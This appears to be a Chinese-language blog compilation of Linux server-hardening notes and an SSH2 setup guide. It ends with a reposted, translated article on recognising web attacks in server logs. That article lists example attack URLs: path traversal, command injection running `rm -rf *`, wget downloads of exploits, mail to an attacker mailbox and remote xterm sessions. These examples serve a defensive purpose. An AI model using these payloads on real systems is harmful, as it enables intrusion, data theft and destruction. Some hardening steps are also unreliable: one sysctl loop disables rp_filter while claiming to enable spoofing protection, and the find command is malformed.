"nosuid"表示不允許設定具有 suid(set-user-identifier)和 sgid(set-group-identifier)權限的檔案。
"noexec"表示不允許檔案系統上有任何可執行的二進位檔案。
注意:上面的例子中,"/dev/sda9"mount到"/tmp"目錄上,而"/dev/sd6"mount到"/home"目錄上。當然這和你的實 際情況會有所不同,這些取決於你是怎麼劃分的以及用什麼樣的硬碟,例如:IDE硬碟是hda、hdb,等等,而SCSI硬碟是sda、sdb,等等。
17. 把rpm程式轉移到一個安全的地方,並改變預設的檔案執行權限
◎把rpm程式移到軟碟上,用下面的命令:
[root@deep]# mount /dev/fd0 /mnt/floppy/
[root@deep]# mv /bin/rpm /mnt/floppy/
[root@deep]# umount /mnt/floppy
注意:千萬不要把rpm程式從系統中移除掉,否則以後就不能重新安裝它,因為安裝rpm程式或其他套裝軟體本身就要用rpm命令。
還有一點要注意的是,把rpm命令的存取權限從預設的755改成700。這樣非root用戶就不能使用rpm命令了。特別是考慮到萬一在安裝完新軟體之 後,忘了把rpm程式移到一個安全的地方,這樣做就更有必要了。
◎改變"/bin/rpm"預設的存取權限,用下面這個命令:
[root@deep]# chmod 700 /bin/rpm
18. Shell 下的命令記錄
第一步
編輯 profile 檔案(vi /etc/profile),把下面二行改成:
HISTFILESIZE=20
HISTSIZE=20
這樣每個用戶家目錄下的".bash_history"就最多只能存20個命令。如果黑客試圖在用戶的"~/.bash_history"文件中發現一些 口令,他就沒有什麼機會了。
第二步
編輯 .bash_logout 檔案 (vi /etc/skel/.bash_logout) ,並加入下面一行:
rm -f $HOME/.bash_history
注意:若之前己經新增過使用者,記得要手動替他們加入上面那一行。
19. "/etc/lilo.conf" 檔案
第一步
編輯lilo.conf檔案(vi /etc/lilo.conf),加上或改變下面說明的三個設定:
boot=/dev/sda
map=/boot/map
install=/boot/boot.b
prompt
timeout=00 <- 將此行改成 00
Default=linux
restricted <-新增此行
password= <- 新增此行並輸入你的密碼
image=/boot/vmlinuz-2.2.16-22smp
label=linux
initrd=/boot/initrd-2.2.16-22smp.img
root=/dev/sda10
read-only
第二步
因為"/etc/lilo.conf"組態檔案裡,存在沒有經過加密的密碼,所以只有root才能有讀的權限。用下面的命令改變檔案的權限:
[root@deep]# chmod 600 /etc/lilo.conf
第三步
使改變後的"/etc/lilo.conf"組態檔案生效:
[root@deep]# /sbin/lilo -v (to update the lilo.conf file).
第四步
為了更安全一點,可以用chattr命令給"lilo.conf"檔案加上不可改變的權限。
◎讓檔案不可改變用下面的命令:
[root@deep]# chattr +i /etc/lilo.conf
這樣可以避免"lilo.conf"檔案因為意外或其他原因而被改變。如果想要改變"lilo.conf"檔案,必須先清除它的不可改變標誌。
◎清除不可改變的標記用下面的命令:
[root@deep]# chattr -i /etc/lilo.conf
20. 使Control-Alt-Delete關機鍵無效
編輯 inittab 檔案(vi /etc/inittab)把這一行:
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
加上 # 改為:
#ca::ctrlaltdel:/sbin/shutdown -t3 -r now
用下面的命令使改變生效:
[root@deep]# /sbin/init q
21. 建立所有重要的日誌文件的硬拷貝
保證在"/var/log"目錄下的不同日誌檔案的完整性是保證系統安全所要考慮的非常重要的一個方面。如果我們在伺服器上已經加上了很多安全措施,黑客 還是能夠成功入侵,那麼日誌檔案就是我們最後的防範措施。因此,很有必要考慮一下用什麼方法才能保證日誌檔案的完整性。如果伺服器上或網路中的其他伺服器 上已經裝設了印表機,就可以把重要的日誌檔案列印出來。這要求有一個可以連續列印的印表機,並用syslog把所有重要的日誌檔案傳到 "/dev/lp0"(列印設備)。黑客可以改變伺服器上的檔案、程式,等等,但是,把重要的日誌檔案列印出來之後,他就無能為力了。
在 Securing and Optimizing Linux v1.3的第57頁講了很多,我只用下面的方式來做:
假定現有一台 Log Server、一台郵件伺服器、一台DNS伺服器、一台 Web 伺服器 。我採用的策略是服務分散在不同的機器上,logserver 是接收日誌檔案的電腦主機名。如果有人試圖黑你的電腦並且威脅把所有重要的系統日誌檔案都刪掉,你就不用怕了,因為你已經列印出來或者在別的地方還有一個 拷貝。這樣就可以根據這些日誌檔案分析出黑客在什麼地方,然後理出這次入侵事件。
設定方式如下:
◎Log Server 的設定(host name為 logserver):
這台機器只開啟 syslog daemon ,其它的 Services 全部關掉。
除了必需的帳號外,不建立其它帳號,讓這台Log Server 只有 root 可以登入,且root 的密碼,千萬不可以與其它主機相同,因為若其它台主機被入侵了,這台也會跟著遭殃。
編輯syslog腳本檔案(vi +24 /etc/rc.d/init.d/syslog),把這一行:
daemon syslogd -m 0
改為:
daemon syslogd -r -m 0
重新啟動syslog daemon使改變生效:
[root@mail]# /etc/rc.d/init.d/syslog restart
讓這台主機接到印表機上, 編輯 "syslog.conf"檔案(vi /etc/syslog.conf),在檔案的末尾加入下面這一行
authpriv.*;mail.*;local7.*;auth.*;daemon.info /dev/lp0
如果這台接收日誌檔案的伺服器上還要加上防火牆,可以檢查一下防火牆的腳本檔案中有沒有下面幾行(沒有就加上):
ipchains -A input -i $EXTERNAL_INTERFACE -p udp -s $SYSLOG_CLIENT -d $IPADDR 514 -j ACCEPT
在這個例子中防火牆的腳本檔案中定義了
EXTERNAL_INTERFACE="eth0"。
IPADDR="208.164.186.2"; <-- Log Server 的 IP
SYSLOG_CLIENT="208.164.168.0/24" <-- 要將 Log 資訊送到Log Server 的 IP範圍
重新啟動接收日誌檔案的伺服器上的防火牆,使改變生效:
[root@mail]# /etc/rc.d/init.d/firewall restart
當然如果在這台 Log Server 再加上 LogCheck 類似的軟體,那就更好了。
◎Mail Server 、DNS Server、Web Server 的設定都相同:
編輯syslog.conf檔案(vi /etc/syslog.conf),在檔案末尾加入下面這一行:
authpriv.*;mail.*;local7.*;auth.*;daemon.info @logserver
(logserver 為 hostname,需要DNS或 各主機的 /etc/hosts內有記錄)
重新啟動syslog daemon使改變生效:
[root@deep]# /etc/rc.d/init.d/syslog restart
注意:千萬不要用閘道伺服器來收集和管理所有的系統日誌資訊。有關syslogd程式的其他一些參數和策略,可以用man命令查看輔助敘 述:syslogd(8)、syslog(2)和syslog.conf(5)。
結語:這樣的作法可將 Log File 都送到 Log Server 上,但並沒有將不同主機的Log分開在不同的檔案,若要查也不太好查。在印象中好像有方法可以分開,但我不知道如何做,有人知道嗎? 與大家分享一下吧!
mail to me : matt@mxtpa.biglobe.net.tw
安裝完後的系統安全概要,這部份還沒做完呢? 再接再厲了....p(^o^)q
自己架一個安全的伺 服器環境(六)
張貼:matt 發表於 Tuesday, November 28 @ 12:08:07 CST
繼續之前的自己架一個安全的伺服器環境(五)--安裝完後的系統安全概要
22. 改變 "/etc/rc.d/init.d/" 目錄下,腳本檔案的存取權限~ 26. /proc/sys 網路安全選項的調整
22. 改變 "/etc/rc.d/init.d/" 目錄下,腳本檔案的存取權限
改變啟動和停止daemon的腳本檔案的存取權。
[root@deep]# chmod -R 700 /etc/rc.d/init.d/*
這樣只有root可以讀、寫和執行這個目錄下的腳本。我想一般用戶沒有什麼必要知道腳本檔案的內容。
注意:如果你裝設或升級了一個程式,要用到"/etc/rc.d/init.d/"中system V腳本,不要忘記再檢查一下改變和檢查這個腳本檔案的權限。
23. "/etc/rc.d/rc.local"檔案
在預設情況下,當登入裝有Linux系統的電腦時,系統會告訴你Linux發行版的名字、版本號、核心版本和伺服器名稱。這洩漏了太多的系統資訊。最好只 顯示一個"Login:"的提示資訊。
第一步
編輯"/ect/rc.d/rc.local"檔案,在下面這些行的前面加上"#":
--
# This will overwrite /etc/issue at every boot. So, make any changes you
# want to make to /etc/issue here or you will lose them when you reboot.
#echo "" > /etc/issue
#echo "$R" >> /etc/issue
#echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue
#
#cp -f /etc/issue /etc/issue.net
#echo >> /etc/issue
--
第二步
解除"/etc"目錄下的"issue.net"和"issue"檔案:
[root@deep]# rm -f /etc/issue
[root@deep]# rm -f /etc/issue.net
注意:"/etc/issue.net"檔案是用戶從網路登入電腦時(例如:telnet、SSH),看到的登入提示。同樣在"/etc"目錄下還有一個 "issue"檔案,是用戶從本地登入時看到的提示。這兩個檔案都是文字檔案,可以根據需要改變。但是,如果想刪掉這兩個檔案,必須向上面介紹的那樣把 "/etc/rc.d/rc.local"腳本中的那些行註解掉,否則每次重新啟動的時候,系統又會重開新文件立這兩個檔案。
24. 帶"s"位元的程式
用ls -l命令列出來的檔案,如果檔案的權限位中出現"s",則這些檔案的SUID(-rwsr-xr-x)或SGID(-r-xr-sr-x)位被設定了。 因?這些程式給執行它的用戶一些特權,所以如果不需要用到這些特權,最好把這些程式的"s"位移去。可以用下面這個命令"chmod a -s <檔案名>"移去相應檔案的"s"位。
可以清除"s"位元的程式包括但不限於:
從來不用的程式
不希望非root用戶執行的程式
偶爾用用,但是不介意先用su命令變成root後再執行。
下面移除了SUID的程式,是作者(Gerhard Mourani)認為有必要移去"s"位。注意,系統可能需要一些SUID的程式才能正常執行,所以要千萬小心。
用下面的命令找到所有帶"s"位元的程式:
[root@deep]# find / -type f ( -perm -04000 -o -perm -02000 ) -exec ls -lg {}
用下面的命令將下面的程式除去 SUID:
[root@deep /]# chmod a-s /usr/bin/chage
[root@deep /]# chmod a-s /usr/bin/gpasswd
[root@deep /]# chmod a-s /usr/bin/wall
[root@deep /]# chmod a-s /usr/bin/chfn
[root@deep /]# chmod a-s /usr/bin/chsh
[root@deep /]# chmod a-s /usr/bin/newgrp
[root@deep /]# chmod a-s /usr/bin/write
[root@deep /]# chmod a-s /usr/sbin/usernetctl
[root@deep /]# chmod a-s /usr/sbin/traceroute
[root@deep /]# chmod a-s /bin/mount
[root@deep /]# chmod a-s /bin/umount
[root@deep /]# chmod a-s /bin/ping
[root@deep /]# chmod a-s /sbin/netreport
如果你想知道這些程式到底有什麼用,可以用man命令查看幫助。
例如:
[root@deep]# man netreport
25. /proc/sys 網路安全選項的調整
讓系統對 ping 沒有反應
讓系統對廣播沒有反應
取消 IP source routing
開啟 TCP SYN Cookie 保護
取消 ICMP 接受 Redirect
開啟錯誤訊息保護
開啟 IP 欺騙保護
記錄Spoofed Packets, Source Routed Packets, Redirect Packets
Redhat 6.1 的做法:
[root@deep /]# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
[root@deep /]# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
[root@deep /]# for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
> echo 0 > $f
> done
[root@deep /]# echo 1 > /proc/sys/net/ipv4/tcp_syncookies
[root@deep /]# for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do
> echo 0 > $f
> done
[root@deep /]# echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
[root@deep /]# for f in /proc/sys/net/ipv4/conf/*/rp_filter; do
> echo 0 > $f
> done
[root@deep /]# for f in /proc/sys/net/ipv4/conf/*/log_martians; do
> echo 0 > $f
> done
Redhat 6.2 的做法:
編輯 "/etc/sysctl.conf" 檔案,並加入下面幾行,
# Enable ignoring ping request
net.ipv4.icmp_echo_ignore_all = 1
# Enable ignoring broadcasts request
net.ipv4.icmp_echo_ignore_broadcasts = 1
# Disables IP source routing
net.ipv4.conf.all.accept_source_route = 0
# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1
# Disable ICMP Redirect Acceptance
net.ipv4.conf.all.accept_redirects = 0
# Enable bad error message Protection
net.ipv4.icmp_ignore_bogus_error_responses = 1
# Enable IP spoofing protection, turn on Source Address Verification
net.ipv4.conf.all.rp_filter = 1
# Log Spoofed Packets, Source Routed Packets, Redirect Packets
net.ipv4.conf.all.log_martians = 1
最後重新啟動 network
[root@deep /]# /etc/rc.d/init.d/network restart
結語:安裝完後的系統安全概要,我在(四)、(五)、(六)這三篇中列出我有做的部份,這些也是我覺的要設定的地方,在 Securing and Optimizing Linux: RedHat Edition v1.3 中的第三章寫了很多,有些我沒有列出來是因為有些是觀念上、有些是平常要做的檢查,若各位想要進一步瞭解,請看一下原文了喔!
自己架一個安全的伺 服器環境(七)
張貼:matt 發表於 Wednesday, November 29 @ 18:58:48 CST
提供伺服器一個透過網路的安全入口(SSH2)
作者:matt (mattli@mxtpa.biglobe.net.tw)
序言
在照著「安裝一台安全的伺服器(一)~(六)」的方式,安裝了一個安全的伺服器環境後,一定會覺得有個地方很奇怪,不知道大家有無注意到,那就是除了在主 機前操作外,我們如何透過網路來維護這台主機、如何將東西傳到這台「安全」的主機上,而且還是在安全的前提下進行呢? 答案就是 SSH ,可能有些人有聽過或現在正在使用了,它可以通過網絡登錄到遠程主機並執行命令。它提供了很強的安全驗證可以在不安全的網絡中進行安全的通訊,而這正是我 們需要的。
SSH 在 Linux 上有兩個軟體可以用,一是 OpenSSH (免費) 二是 SSH2 (商業),我現在使用的是 SSH2,雖然OpenSSH是免費的,而且功能上與 SSH 是類似,但個人覺的在 Client 的工具,還是沒有ssh.com公司提供的 SSH Client_win32 好用 (因為我的日常使用平台還是Windows),它除了遠端登入外,還提供拷貝檔案到主機上的功能,這項功能是我常需要使用的,而 OpenSSH 的 Windows Client 工具中卻沒有 for SSH2 的 scp,所以我只有先用SSH2了,反正自己又不是拿來做商業上的用途,好用為何不用呢?
註:在這裡有一篇文章說明,如何在Windows 下利用 Secure Shell Tunnelling 來與 OpenSSH 做到安全的FTP,可是我試不出來,有人會嗎?這樣就可以真的用OpenSSH了。
更新(2001/01/06):
OpenSSH也可以和SSH Client_win32 相通,只要將 /etc/ssh/sshd_config 內的
Subsystem sftp /usr/libexec/sftp-server
這行打開就可以了。嘿嘿 ,在Window下終於有好用的工具與OpenSSH通了。不過我只試出只用 password 來連,用個人私key 來連,還沒試出來。
注意事項
原始路徑都為「/var/tmp」(當然在實際情況中也可以用其它路徑)。
安裝在RedHat Linux 6.1和6.2下測試通過。
要用「root」用戶進行安裝。
SSH2的版本是2.3.0
軟體的來源
SSH的主頁:http://www.ssh.com
ftp://ftp.ssh.com/pub/ssh/ 或
ftp://ftp.wiretapped.net/wd2a/security/cryptography/ssh/SSH/rpms
1. SSH2 Server :
for redhat: ssh-2.3.0-1nox.i386.rpm (因為伺服器不需X-Window,所以下載不包含X-window 的版本)
2.SSH2 Client : (http://www.ssh.com 要註冊才能下載)
for linux : 在SSH2 Server的RPM內就有了
for window: SSHWin-2.3.0.exe
安裝步驟
A. 下載軟體
SSH2 Server
由於我們要安裝的主機上沒有ftp程式,先從RedHat6.2光碟中,將FTP Client裝起來。再利用 ftp 程式將軟體下載回來。最後再將 ftp 程式移除。
[root@deep tmp]# mount /dev/cdrom /mnt/cdrom
[root@deep tmp]# rpm -ivh /mnt/cdrom/RedHat/RPMS/ftp-0.16-3.i386.rpm
ftp #########################
[root@deep tmp]# ftp ftp.ssh.com
Name (ftp.ssh.com:root): anonymous
Password: abc@abc.net
ftp> cd /pub/ssh/rpms
ftp> get ssh-2.3.0-1nox.i386.rpm
ftp> quit
[root@deep tmp]# rpm -e ftp-0.16-3
SSH2 Windows Client
SSHWin-2.3.0.exe 想辦法下載回來吧!
記得還要到SSH網站上申請 license(非商業的免費),再將 license.dat 下載回來!
B. 安裝
SSH2 Server
[root@deep tmp]# rpm -ivh ssh-2.3.0-1nox.i386.rpm
[root@deep /]# rm /etc/ssh2/hostkey*
[root@deep /]# /usr/local/bin/ssh-keygen2 -P /etc/ssh2/hostkey (為 Server 產生新的 hostkey)
SSH2 Windows Client
在Windows下執行 SSHWin-2.3.0.exe
C. 設定 SSH2 Server (deep:192.168.0.20)
以root身份啟動 sshd
[root@deep /]# /usr/local/sbin/sshd
建一個新的使用者帳號 (若沒有的話)
[root@deep /]# useradd test
[root@deep /]# passwd test
D. 設定 SSH2 Window Client (mynb:192.168.0.100)
啟動 SSH Secure Shell Client
利用 [Help] -> [Import License File] 將下載下來的license.dat 匯入
按一下 Enter 鍵,連接到 SSH2 Server,Host Name: 192.168.0.20、User Name: test
稍微等一下,會出現一個警告視窗,按 "是",再來輸入 Password,這樣便連上SSH2 Server主機了。
選擇 [Edit] -> [Settings...] -> [Global Settings] -> [User Keys] ,按下 [Generate New Keypair] 按鈕。
出現一個 Key Generation 視窗,按二次 [下一步] ,等它產生Key,再按 [下一步] ,輸入
File Name:就是Key的檔案名稱
Comment:隨便給個註解
PassPhrase:就是登入密碼,打入自己要的密碼吧!不要太簡單喔
PassPhrase:再打一次
打完後,再按 [下一步] ,最後按下 [Upload Public Key] 按鈕,出現一個 Upload Public Key 視窗,
再按下 [Upload] 按鈕,等一下後公鑰就傳到 SSH2 Server 上了。
最後按完成,然後你就可以在 User Key 這視窗中看到你剛剛產生的Key。再按 [OK] 離開 settings 視窗。
你也利用可以看一下 test 的 Home 目錄下,有個 .ssh2 目錄,裡面有你的公鑰喔!
[test@deep test]$ ls -al
由於 SSH2 提供兩種連線方式,一種是「使用密碼」,一種是「使用 Key」, SSH2 Server 的預設是判斷有無「Key」,有就使用,若無便「使用密碼」。為了讓系統更安全,我們需要將設定改成「使用Key」,這樣子只有在這台主機上有帳號且有公 鑰的人,才能利用自己的私鑰連上來,因為密碼太簡單還是會便猜出來。
E. 再次設定 SSH2 Server
編輯 /etc/ssh2/sshd2_config,更改設定如下:
## sshd2_config
## SSH 2.0 Server Configuration File
##
# The "*" defines for all hosts
*:
## General settings
VerboseMode no
AllowCshrcSourcingWithSubsystems no
ForcePTTYAllocation no
SyslogFacility DAEMON
## Network settings
Port 22
ListenAddress 0.0.0.0
RequireReverseMapping no
MaxBroadcastsPerSecond 0
KeepAlive yes
NoDelay yes
MaxConnections 5
## Crypto settings
Ciphers AnyCipher
MACs AnyMAC
## User settings
PrintMotd yes
CheckMail yes
UserConfigDirectory "%D/.ssh2"
UserKnownHosts yes
## Public key configurations
HostKeyFile hostkey
PublicHostKeyFile hostkey.pub
RandomSeedFile random_seed
IdentityFile identification
AuthorizationFile authorization
AllowAgentForwarding no
## Tunneling configurations
AllowX11Forwarding no
AllowTcpForwarding no
## Authentication methods
PasswordGuesses 3
AllowedAuthentications publickey,password
RequiredAuthentications publickey,password
## Host restrictions
QuietMode no
## User restrictions
PermitRootLogin no
## SSH1 compatibility
Ssh1Compatibility no
subsystem-sftp sftp-server
重新啟動 sshd2
[root@deep /]# /usr/local/sbin/sshd
這樣子設定後,就只有利用 publickey & privatekey 才能連到主機上,這樣主機也就更安全了。
配置sshd2使其使用TCP-WRAPPERS(inetd超級伺服器)
第一步
編輯"inetd.conf"文件(vi /etc/inetd.conf)並加入這一行:
ssh stream tcp nowait root /usr/sbin/tcpd /usr/local/sbin/sshd -i
注意:"-i"參數很重要,它說明sshd是被inetd運行的。在加入這一行後,通過發送一個SIGHUP信號(killall -HUP inetd)來更新"inetd.conf"文件。
[root@deep /root]# killall -HUP inetd
第二步
編輯"hosts.allow"文件(vi /etc/hosts.allow)並加入這一行:
sshd: 192.168.1.
這一行表示IP地址為"192.168.1.X"的主機都可以連接上來。
確定一下 "hosts.deny" 檔案內有下面這一行:
ALL: ALL@ALL
結語:
有關 SSH2 Server與 Client 的相關文件,在 Securing and Optimizing Linux: RedHat Edition v1.3 的第11章有詳細的安裝步驟、或在你安裝的地方就有 Server 在 /usr/doc/ssh-2.3.0,Client 就看 Help 就好了、或是在 SSH 的網站上也有非常詳細的文件可以看(要錢的就是文件比較齊一點....)。
大家看完或試完了後,若有錯誤的地方,告訴我一下吧!
2010年6月2日
[轉載] 自己架一個安全的伺服器環境
2009年12月13日
samba server改用tdbsam 作為密碼的資料庫檔案
anyway~如果smbpasswd不能用那要用啥?更改samba帳號的密碼指令變更為
pdbedit -a -u [account]
2009年12月10日
[轉載]80埠web服務攻擊痕跡(LOG研究)
80埠web服務攻擊痕跡
作者: Zenomorph
翻譯:盈星滿月
I. 摘要
II.詳細描述
III. 更進一步
IV. 溢出分析
V. 編碼轉換
VI. 結論
[摘要]
web站點默認80為服務埠,關於它的各種安全問題不斷的發佈出來,這些漏洞中一些甚至允許攻擊者獲得系統管理員的許可權進入站點內部,以下是Zenomorph對一些80埠攻擊方式的痕跡的研究,和告訴你怎樣從日誌記錄中發現問題。
[詳細描述]
下面部分通過一些列子,展示對web伺服器和其上的應用程式普遍的攻擊,和其留下的痕跡,這些列子僅僅是代表了主要的攻擊方式,並沒有列出所有的攻擊形式,這部分將詳細描述每種攻擊的作用,和其怎樣利用這些漏洞進行攻擊。
(1)"." ".." 和 "..." 請求
這些攻擊痕跡是非常普遍的用於web應用程式和web伺服器,它用於允許攻擊者或者蠕蟲病毒程式改變web伺服器的路徑,獲得訪問非公開的區域。大多數的CGI程式漏洞含有這些".."請求。
Example:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
這個列子展示了攻擊者請求mosd這個檔,如果攻擊者有能力突破web伺服器根目錄,那麼可以獲得更多的資訊,並進一步的獲得特權。
(2)"%20" 請求
%20是表示空格的16進制數值,雖然這個並不代表你能夠利用什麼,但是在你流覽日誌的時候會發現它,一些web伺服器上運行的應用程式中這個字元可能會被有效的執行,所以,你應該仔細的查看日誌。另一方面,這個請求有時可以幫助執行一些命令。
Example:
http://host/cgi-bin/lame.cgi?page=ls%20-al│
這個列子展示了攻擊者執行了一個unix的命令,列出請求的整個目錄的檔,導致攻擊者訪問你系統中重要的檔,幫助他進一步取得特權提供條件。
(3)"" 請求
表示16進制的空位元組,他能夠用於愚弄web應用程式,並請求不同類型的檔。
Examples:
http://host/cgi-bin/lame.cgi?page=index.html
這可能是個有效的請求在這個機子上,如果攻擊者注意到這個請求動作成功,他會進一步尋找這個cgi程式的問題。
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
也許這個cgi程式不接受這個請求,原因在於它要檢查這個請求檔的尾碼名,如:html.shtml或者其他類型的文件。大多數的程式會告訴你所 請求的檔類型無效,這個時候它會告訴攻擊者請求的檔必須是一某個字元尾碼的檔類型,這樣,攻擊者可以獲得系統的路徑,檔案名,導致在你的系統獲得更多的敏 感資訊
http://host/cgi-bin/lame.cgi?page=../.. ... otdhtml
注意這個請求,它將騙取cgi程式認為這個檔是個確定的可接受的檔類型,一些應用程式由於愚蠢的檢查有效的請求檔,這是攻擊者常用的方法。
(4)"│" 請求
這是個管道字元,在unix系統用於幫助在一個請求中同時執行多個系統命令。
Example:
# cat access_log│ grep -i ".."
(這個命令將顯示日誌中的「..「請求,常用於發現攻擊者和蠕蟲攻擊)
常可以看到有很多web應用程式用這個字元,這也導致IDS日誌中錯誤的報警。
在你的程式仔細的檢查中,這樣是有好處的,可以降低錯誤的警報在入侵檢測系統中。
下面給出一些列子:
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls│
這個請求命令執行,下面是一些變化的列子
http://host/cgi-bin/lame.cgi?page=../.. ... -al%20/etc│
這個請求在unix系統中列出/etc目錄的所有檔
http://host/cgi-bin/lame.cgi?page=cat%20access_log│grep%20-i%20"lame"
這個請求cat命令的執行並且grep命令也將執行,查詢出」lame"
(5)";" 請求
在unix系統,這個字元允許多個命令在一行執行
Example:
# id;uname -a
(執行id命令後,緊跟著執行uname命令)
一些web程式用這個字元,可能導致在你的IDS日誌中失敗的警告,你應該仔細的檢查你的web程式,讓你的IDS警報失敗的幾率降低。
(6)"" 請求
應該檢查你的日誌記錄中這兩個字元,眾多的原因中,首要的一個是這個字元表明了添加資料在檔中
Example 1:
# echo "your hax0red h0 h0" >> /etc/motd (請求寫資訊在motd這個檔中)
一個攻擊者可以容易的用象上面的這個請求篡改你的web頁面。比如著名的RDS exploit常被攻擊者用於更改web主頁面。
Example 2:
[url=http://host/something.php=Hi%20mom%20Im%20Bold!Hi%20mom%20Im%20Bold!
你會注意到這裡html語言的標誌,他同樣用了「〈」,「〉」字元,這種攻擊不能導致攻擊者對系統進行訪問,它迷惑人們認為這是個合法的資訊在 web站點中(導致人們在訪問這個聯結的時候訪問到攻擊者設定的位址,這種請求可能會被轉變成16進制的編碼字元形式,使攻擊的痕跡不那麼明顯)
(7)"!"請求
這種字元請求常用語對SS(Server Side Include) I進行攻擊,如果攻擊者迷惑用戶點擊被攻擊者設定的聯結,和上面的一樣。
Example:
http://host1/something.php="-->
這個列子是攻擊者可能會做的,它讓一個host2站點上的檔看起來是來自於 host1上面的(當然,需要訪問者訪問這個被攻擊者設定的聯結。這種請求可能被轉化成16進制的編碼偽裝,不易發現)
同時,這種方式也可以以web站點的許可權執行命令
Example:
http://host/something.php="-->
這個列子在遠端的系統上執行「id"的命令,它將顯示這個web站點用戶的id,通常是」nobody"或者「www"
這種形式也允許包含隱藏檔。
Example:
http://host/something.php="-->
這個隱藏檔.htpasswd不會被顯示出來,Apache建立的規則會拒絕這種以.ht 形式的請求,而SSI標誌會繞過這種限制,並導致安全問題
(8)"
在某些簡單的php應用程式中,它可能會在遠端系統上以web站點用戶的許可權執行本地命令
(9)"`" 請求
這種字元後面常用在perl中執行命令,這個字元在web應用程式中不是經常的使用,所以,如果看到它在你的日誌中,應該非常小心
Example:
http://host/something.cgi=`id`
一個perl寫的有問題的cgi程式,會導致執行id命令
[更進一步]
下面部分將討論更多的攻擊者可能執行的命令,連同被請求的檔,以及如果你有遠端執行命令的缺陷,應該怎樣檢查發現它。這部分只是給你個好的思路,並告訴你的系統發生了什麼,攻擊者嘗試攻擊你的系統的痕跡,但並不能列舉所有的攻擊者使用的命令和請求的方式。
"/bin/ls"
這個命令請求整個路徑,在很多的web應用程式中都有這個漏洞,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠端執行命令漏洞,但 並不一定是個問題,也可能是個錯誤的警報。再一次提醒,寫好的web應用程式(cgi,asp,php...etc)是安全的基礎
Example:
http://host/cgi-bin/bad.cgi?doh=../../. ... n/ls%20-al│
http://host/cgi-bin/bad.cgi?doh=ls%20-al;
"cmd.exe"
這是一個windows的shell,一個攻擊者如果訪問並運行這個腳本,在伺服器設置允許的條件下可以在windows機器上做任何事情,很多的蠕蟲病毒就是通過80埠,傳播到遠端的機器上
http://host/scripts/WINNT/system32/cmd.exe?dir+e:
"/bin/id"
這是個2進制的檔,它的問題和/bin/ls一樣,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠端執行命令漏洞,但並不一定是個問題,也可能是個錯誤的警報。
它將顯示屬於哪個用戶和屬於哪個組
Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id│
http://host/cgi-bin/bad.cgi?doh=id;
"/bin/rm"
這個命令可以刪除檔,如果不正確的使用是非常危險的
Examples:
http://host/cgi-bin/bad.cgi?doh=../../. ... %20-rf%20*│
http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
"wget and tftp" 命令
這些命令常被攻擊者用來下載可能進一步獲得特權的檔,wget是unix下的命令,可能被用來下載後門程式,tftp是unix和nt下的命令,用來下載文件。一些IIS蠕蟲通過tftp來複製自身傳播病毒到其他的主機
Examples:
http://host/cgi-bin/bad.cgi?doh=../../. ... hantasmp.c│ http://host/cgi-bin/bad.cgi?doh=wget%20 ... antasmp.c;
"cat" 命令
這個命令用來查看檔內容,常用來讀重要的資訊,比如配置檔,密碼檔,信用卡檔和你能夠想到的檔
Examples:
http://host/cgi-bin/bad.cgi?doh=../../. ... 0/etc/motd│ http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
"echo" 命令
這個命令常用於寫資料到檔中,比如「index.html」
Examples:
>%200day.txt'>http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt│ >%200day.txt'>http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;
"ps" 命令
列出當前運行的進程,告訴攻擊者遠端主機運行了那些軟體,以便從中得到一些安全問題的主意,獲得進一步的許可權
Examples:
http://host/cgi-bin/bad.cgi?doh=../../. ... /ps%20-aux│ http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
"kill and killall" 命令
在unix系統這個命令用於殺掉進程,一個攻擊者可以用這個命令來停止系統服務和程式,同時可以擦掉攻擊者的痕跡,一些exploit會產生很多的子進程
Examples:
http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200│ http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
"uname" 命令
這個命令告訴攻擊者遠端機器的名字,一些時候,通過這個命令知道web站點位於哪個isp,也許是攻擊者曾今訪問過的。通常uname -a來請求,這些都將記錄在日誌檔中
Examples:
http://host/cgi-bin/bad.cgi?doh=../../. ... uname%20-a│ http://host/cgi-bin/bad.cgi?doh=uname%20-a;
"cc, gcc, perl, python, etc..." 編譯/解釋命令
攻擊者通過wget或者tftp下載exploit,並用cc,gcc這樣的編譯程序進行編譯成可執行程式,進一步獲得特權
Examples:
http://host/cgi-bin/bad.cgi?doh=../../. ... hantasmp.c│ http://host/cgi-bin/bad.cgi?doh=gcc%20P ... p%2031337;
如果你查看日誌中發現有「perl」 python」這些說明可能攻擊者下載遠端的perl ,python腳本程式,並試圖本地獲得特權
"mail" 命令
攻擊者通常用這個命令將系統的一些重要檔發到攻擊者自己的信箱,也肯能是進行郵件炸彈的攻擊
Examples:
http://host/cgi-bin/bad.cgi?doh=../../. ... ker.org%20
"xterm/其他X 應用程式" 命令
xterm 常用來獲得遠端機器上的shell,如果你在你的日誌中發現這些符號,可要認真分析你的系統,可能已經存在安全裂口。注意在日誌中查找"%20-display%20" 這個字元,這種痕跡通常是在遠端機子上啟動xterm或者X應用程式
Examples:
http://host/cgi-bin/bad.cgi?doh=../../. ... 2.168.22.1│ http://host/cgi-bin/bad.cgi?doh=Xeyes%2 ... .168.22.1;
"chown, chmod, chgrp, chsh, etc..." 等命令
在unix系統這些命令允許改變檔的許可許可權
chown = 允許設置檔的擁有者chmod = 允許設置檔的許可許可權chgrp = 允許改變組對檔的擁有許可權chsh = 允許改變用戶的shell
Examples:
